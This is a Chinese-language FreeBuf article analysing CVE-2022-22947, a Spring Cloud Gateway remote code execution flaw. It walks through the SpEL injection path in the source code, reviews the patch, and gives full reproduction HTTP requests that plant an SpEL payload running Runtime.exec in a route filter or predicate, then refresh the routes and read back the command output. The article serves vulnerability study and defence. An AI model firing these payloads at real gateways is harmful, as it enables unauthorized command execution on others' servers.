freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Spring Cloud Gateway 远程代码执行漏洞分析(CVE-2022-22947)
DoubleT 2022-04-15 10:40:48 227284
所属地 北京

0x01 影响范围

  • Spring Cloud Gateway < 3.1.1

  • Spring Cloud Gateway < 3.0.7

0x02 SpEL表达式简介

Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。

它有多种方式去执行命令,这里写简单的一种利用,通过调用静态方法实现命令执行、T中为全类名

SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
spelExpressionParser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open -na Calculator\")").getValue();

0x03 环境搭建:

github下载源码,我下载的是3.0.6版本。

项目地址:https://github.com/spring-cloud/spring-cloud-gateway

项目中有sample项目,可以导入IDEA直接启动。

0x04 漏洞分析:

首先观察项目结构,项目中最主要的是server包中的内容。

在项目中搜索SpEL表达式的特征点,由图中可以看到在getValue()中会执行SpEL表达式,表达式为表达式模版类型,特征点为#{},接下来需要找entryValue是否可控。

在同一个类中的normalize方法中就会调用getValue,参数为args

normalizeProperties中调用了normalize,并将properties传入,properties就是要解析执行的SpEL表达式,而properties又在properties()中赋值,接下来就是找哪里调用了properties(),只要能够设置这个值为想要的值,下次访问触发就可以执行对应的表达式。

filterpredicate的加载中找到了设置值的地方。

中间还有一些调用这里就不写了,两个函数最终都是getRoutes触发,执行SpEL表达式也会在getRoutes中调用。

到这里就大概知道如何利用漏洞了,通过添加filter或者predicate让对应的properties赋值,然后再访问获取路由从而触发SpEL表达式的解析执行,最终触发漏洞。其实在进行添加的过程中就会进行表达式的解析,因为操作都在getRoutes中,但是如果要获取命令执行的结果的话就需要获取具体的执行结果,需要返回对应的路由详情查看。

参考Spring Cloud Gateway官方文档,获取程序执行流程、添加路由、获取路由的方法等。

执行流程中写明了访问路由时就会调用调用过滤器,和上面我们分析到的相同,只是发现在查询路由的时候predicates也会进行SpEL表达式解析执行。

官方文档中也写明了路由的添加、查看与刷新操作,具体的操作内容请移步到官方文档查看。

再回到代码中,查看添加路由的代码,将POST请求的route信息传入Mono形成Mono对象,这个之前不太了解,简单来讲就是将数据存储到这个序列,并执行了一些添加路由的操作,但是发现没有之前分析的添加propertiesgetRoutes方法,因此这里只是进行了存储,并没有将路由信息真正的进行添加。

而在refresh操作中,通过动态调试发现会执行到getRoute方法,而这个方法之前也说了会进行设置filterpredicate的操作,同时也会进行解析对应的value值,执行对应的payload,只是不返回结果。

如果要获取命令执行结果,可以直接检索所有的路由,使用GET请求进行访问。

综上所述,获取命令执行结果的步骤为

1、POST请求添加路由,payload放在filter或者predicate中都可以

2、POST请求刷新路由,将路由进行添加,同时也会执行命令

3、GET方法检索所有路由,返回命令执行结果(前提是可回显的payload)

0x05 漏洞复现:

1、添加路由,设置filter

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

也可以设置predicate

{
"id": "hacktest",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com"
}

2、刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3、检索路由,得到命令执行结果,可以检索指定路由,也可以检索全部路由,当检索指定路由报错时可以检索全部内容获取,路径为:/actuator/gateway/routes。

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

0x06 补丁分析:

查看github提交记录

https://github.com/spring-cloud/spring-cloud-gateway/commit/25fb7475a766345928a86652f0d56b771018b483

发现默认了禁用网关执行器。

原来的注解中默认开启网关执行器,当关闭了网关执行器后便不会执行SpEL表达式了。

中间可能跳过了一些细节的内容,分析有误的地方请大佬及时指出~

参考内容:

# web安全 # 漏洞分析 # 漏洞复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 DoubleT 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
DoubleT LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 1 关注者
文章目录